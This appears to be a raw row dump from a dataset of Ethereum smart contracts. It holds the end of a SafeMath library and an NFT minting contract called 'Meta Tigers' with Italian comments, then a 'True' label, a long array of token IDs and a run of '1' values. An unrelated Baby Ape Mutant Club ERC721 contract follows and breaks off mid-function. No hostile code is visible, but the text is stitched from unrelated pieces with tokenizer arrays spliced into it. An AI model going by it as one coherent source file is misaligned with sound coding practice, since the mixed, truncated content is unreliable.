* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/* leggi poi qui https://docs.opensea.io/docs/1-structuring-your-smart-contract **/
contract Tigers is ERC721Enumerable, Ownable {
using SafeMath for uint256;
uint256 public cost = 0.03 ether;
string public baseURI; // da capire
uint256 public constant maxSupply = 8888;
uint256 public maxMintAmount = 20;
bool public paused = false; // se qualcosa va storto almeno possiamo fermarlo
uint256 private _currentTokenId = 0;
constructor() ERC721("Meta Tigers", "MTGR") {
setBaseURI("https://tigers0x.s3.eu-west-1.amazonaws.com/");
// mint(msg.sender, 20);
}
/** questa la overridiamo perchè vogliamo ritornarei l nostro baseURI in modo da essere in grado di cambiarlo ( metti che cmabiamo server ..) **/
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function mint(address _to, uint256 _mintAmount) public payable {
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(_currentTokenId + _mintAmount <= maxSupply);
/* se sono io invece non pago */
if(msg.sender != owner()) {
require(!paused);
require(msg.value >= cost * _mintAmount);
// payable(owner()).transfer(cost * _mintAmount); se per caso volessi prenderli subito sul mio wallet, ma cosi si pagano un sacco di fee
}
for(uint256 i = 1; i <= _mintAmount; i++) {
uint256 newTokenId = _getNextTokenId();
_safeMint(_to, newTokenId);
_incrementTokenId();
}
}
/** Ritorna un array con gli nft che possiede l'address */
/* vedi https://docs.openzeppelin.com/contracts/4.x/api/token/erc721#IERC721Enumerable-tokenOfOwnerByIndex-address-uint256-*/
function walletOfOwner(address _owner) public view returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner); // Returns the number of tokens in owner's account.
uint256[] memory tokenIds = new uint256[](ownerTokenCount); // dichiaro nuovo array della lunghezza del numero di token che ha cosi non spreco spazio nella blockchain
for(uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i); // Returns a token ID owned by owner at a given index of its token list.
// Use along with balanceOf to enumerate all of owner's tokens.
}
return tokenIds;
}
/** Qui un po' di funzioni che che solo l'owner puo' chiamare **/
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner() {
maxMintAmount = _newMaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner() {
baseURI = _newBaseURI;
}
function pause(bool _state) public onlyOwner() {
paused = _state;
}
function withdraw() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance)); // riporto a me sti soldini
}
/**
* @dev calculates the next token ID based on value of _currentTokenId
* @return uint256 for the next token ID
*/
function _getNextTokenId() private view returns (uint256) {
return _currentTokenId.add(1);
}
/**
* @dev increments the value of _currentTokenId
*/
function _incrementTokenId() private {
_currentTokenId++;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5641,
1011,
2538,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
16048,
2629,
5403,
9102,
1065,
1007,
1012,
1008,
1008,
2005,
2019,
7375,
1010,
2156,
1063,
9413,
2278,
16048,
2629,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
2023,
3206,
22164,
1996,
8278,
4225,
2011,
1008,
1036,
8278,
3593,
1036,
1012,
2156,
1996,
7978,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1001,
2129,
1011,
19706,
1011,
2024,
1011,
4453,
1031,
1041,
11514,
2930,
1033,
1008,
2000,
4553,
2062,
2055,
2129,
2122,
8909,
2015,
2024,
2580,
1012,
1008,
1008,
2023,
3853,
2655,
2442,
2224,
2625,
2084,
2382,
2199,
3806,
1012,
1008,
1013,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
3223,
8278,
1997,
2019,
9413,
2278,
2581,
17465,
24577,
3206,
1012,
1008,
1013,
8278,
29464,
11890,
2581,
17465,
2003,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
19204,
3593,
1036,
19204,
2003,
4015,
2013,
1036,
2013,
1036,
2000,
1036,
2000,
1036,
1012,
1008,
1013,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
1036,
4844,
1036,
2000,
6133,
1996,
1036,
19204,
3593,
1036,
19204,
1012,
1008,
1013,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
4844,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
2030,
4487,
19150,
2015,
1006,
1036,
4844,
1036,
1007,
1036,
6872,
1036,
2000,
6133,
2035,
1997,
2049,
7045,
1012,
1008,
1013,
2724,
6226,
29278,
8095,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
6872,
1010,
22017,
2140,
4844,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2193,
1997,
19204,
2015,
1999,
1036,
1036,
3954,
1036,
1036,
1005,
1055,
4070,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3954,
1997,
1996,
1036,
19204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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-01-06
*/
// ______ ___ ________ __ ___ ______ _____ ___ ____ _ _____ ___ _ _ _____ _____ _ _ _______
// | ___ \/ _ \ | ___ \ \ / / / _ \ | ___ \ ___| | \/ | | | |_ _/ _ \ | \ | |_ _| / __ \| | | | | | ___ \
// | |_/ / /_\ \| |_/ /\ V / / /_\ \| |_/ / |__ | . . | | | | | |/ /_\ \| \| | | | | / \/| | | | | | |_/ /
// | ___ \ _ || ___ \ \ / | _ || __/| __| | |\/| | | | | | || _ || . ` | | | | | | | | | | | ___ \
// | |_/ / | | || |_/ / | | | | | || | | |___ | | | | |_| | | || | | || |\ | | | | \__/\| |___| |_| | |_/ /
// \____/\_| |_/\____/ \_/ \_| |_/\_| \____/ \_| |_/\___/ \_/\_| |_/\_| \_/ \_/ \____/\_____/\___/\____/
//
//
//
// https://discord.com/invite/rngMmBdeKq
// https://babyapemutantclub.com/
// File @openzeppelin/contracts/utils/introspection/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/[email protected]
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/utils/[email protected]
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
